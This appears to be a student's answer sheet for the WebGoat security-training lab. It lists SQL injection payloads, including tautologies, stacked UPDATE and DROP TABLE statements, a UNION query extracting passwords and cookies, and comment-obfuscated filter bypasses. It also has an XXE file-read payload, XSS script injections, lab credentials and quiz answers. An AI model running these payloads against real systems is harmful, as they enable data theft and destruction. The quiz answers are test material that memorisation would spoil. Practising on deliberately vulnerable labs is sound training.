A1:  
Injection Intro

1. select department from employees where userid=96134;
2. UPDATE employees SET department='Sales' WHERE first\_name='Tobi'
3. alter table employees add phone varchar(20)
4. grant all on grant\_rights to unauthorized\_user  
   9)Smith ‘ or ‘1’=’1
5. Login count: 0  
   User\_Is: 0 or 1=1
6. Employee name: A  
   Authentication Tan:' OR '1' = '1
7. Employee name : A  
   Authentication Tan:  
   '; UPDATE employees SET salary=99999 WHERE first\_name='John
8. %'; DROP TABLE access\_log;--

Injection Advanced:  
3)Name: '; SELECT \* FROM user\_system\_data;-- or ' UNION SELECT 1, user\_name, password, cookie, 'A', 'B', 1 from user\_system\_data;--  
Password:

1. Login  
   Username: tom  
   Password: thisisasecretfortomonly
2. Quiz:  
   4  
   3  
   2  
   3  
   4

Injection Mitigation

1. 1 st box: getConnection  
   2: PreparedStatement  
   3: prepareStatement  
   4: ?  
   5:?  
   6: setString  
   7: setString
2. try {  
   Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);  
   PreparedStatement ps = conn.prepareStatement("SELECT \* FROM users WHERE name = ?");  
   ps.setString(1, "Admin");  
   ps.executeUpdate();  
   } catch (Exception e) {  
   System.out.println("Oops. Something went wrong!");  
   }
3. a';/\*\*/select/\*\*/\*/\*\*/from/\*\*/user\_system\_data;--
4. a';/\*\*/seselectlect/\*\*/\*/\*\*/frfromom/\*\*/user\_system\_data;--
5. 104.130.219.202

A3)

Username **:** CaptainJack

Password: BlackPearl

A4)

4. <?xml version="1.0"?><!DOCTYPE comment[<!ENTITY xxe SYSTEM "file:///">]><comment> <text>&xxe;</text></comment>

7. <?xml version="1.0"?><!DOCTYPE comment[<!ENTITY xxe SYSTEM "file:///">]><comment> <text>&xxe;</text></comment>

Then change the json to **xml**

A5)

1. 2.tom

Cat

3.role,userid

4.WebGoat/IDOR/profile/2342384

2)

2.Users

Config

A7

1. Go to Downloadsmore toolsweb developer fools console will open In console type, alert(document.cookie) ;  
   It will show alert msg click ok then again type  
   Alert(document.cookie) ;  
   Then in the 2 nd exercise type YES and click Submit
2. In that shopping cart  
   In enter your credit card : remove that number  
   Type <script>alert(“username”) </script>  
   Example <script>alert(“sankamethra”) </script>
3. Type, start.mvc#test/ and click submit
4. In console, type  
   Webgoat.custom js.phoneHome()  
   We can see the response code like -236547  
   Copy and paster and click submit
5. Quiz
6. Solution 4
7. Solution 3
8. Solution 1
9. Solution 2
10. Solution 4

**Ans - https://docs.cycubix.com/web-application-security-essentials/solutions/a2-broken-authentication/jwt-tokens-5**

A2 - <https://kumaragurudtsteam.sharepoint.com/sites/ODD22-23-U18INI5600L-ENGINEERINGCLINIC-V-Slot-A1-ISE/_layouts/15/stream.aspx?id=%2Fsites%2FODD22%2D23%2DU18INI5600L%2DENGINEERINGCLINIC%2DV%2DSlot%2DA1%2DISE%2FShared%20Documents%2FGeneral%2FA2%2D%20Broken%20Authentication%20Demo%2D20221210%5F152551%2DMeeting%20Recording%2Emp4&referrer=Teams%2ETEAMS%2DELECTRON&referrerScenario=teamsSdk%2DopenFilePreview>

Xxe - <https://kumaragurudtsteam.sharepoint.com/sites/ODD22-23-U18INI5600L-ENGINEERINGCLINIC-V-Slot-A1-ISE/_layouts/15/stream.aspx?id=%2Fsites%2FODD22%2D23%2DU18INI5600L%2DENGINEERINGCLINIC%2DV%2DSlot%2DA1%2DISE%2FShared%20Documents%2FGeneral%2FXXE%2Emp4&referrer=Teams%2ETEAMS%2DELECTRON&referrerScenario=teamsSdk%2DopenFilePreview>